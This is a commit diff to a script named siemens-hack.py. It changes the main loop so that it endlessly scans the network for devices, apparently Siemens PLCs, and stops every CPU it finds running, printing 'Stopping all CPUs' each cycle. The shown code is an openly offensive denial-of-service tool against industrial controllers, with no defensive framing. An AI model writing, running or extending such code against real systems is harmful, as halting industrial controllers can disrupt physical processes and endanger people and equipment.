Update siemens-hack.py
This commit is contained in:
@@ -465,21 +465,19 @@ def main():
|
||||
s_macaddr = interfaces[0][2].replace(':', '') # eg: 'ab58e0ff585a'
|
||||
s_winguid = interfaces[0][4] # eg: '{875F7EDB-CA23-435E-8E9E-DFC9E3314C55}'
|
||||
|
||||
received_data_arr, b_npfdevice = scan_network(s_adapter, s_macaddr, s_winguid)
|
||||
|
||||
lst_devices = parse_data(received_data_arr)
|
||||
|
||||
print(f"Found {len(lst_devices)} devices")
|
||||
for lst_device in lst_devices:
|
||||
pprint(lst_device)
|
||||
|
||||
while True:
|
||||
received_data_arr, b_npfdevice = scan_network(s_adapter, s_macaddr, s_winguid)
|
||||
lst_devices = parse_data(received_data_arr)
|
||||
print(f"Found {len(lst_devices)} devices")
|
||||
for lst_device in lst_devices:
|
||||
pprint(lst_device)
|
||||
print("Stopping all CPUs")
|
||||
for device in lst_devices:
|
||||
current_state = get_cpu(device)
|
||||
if current_state == 'Running':
|
||||
change_cpu(device)
|
||||
time.sleep(10)
|
||||
time.sleep(5)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
Reference in New Issue
Block a user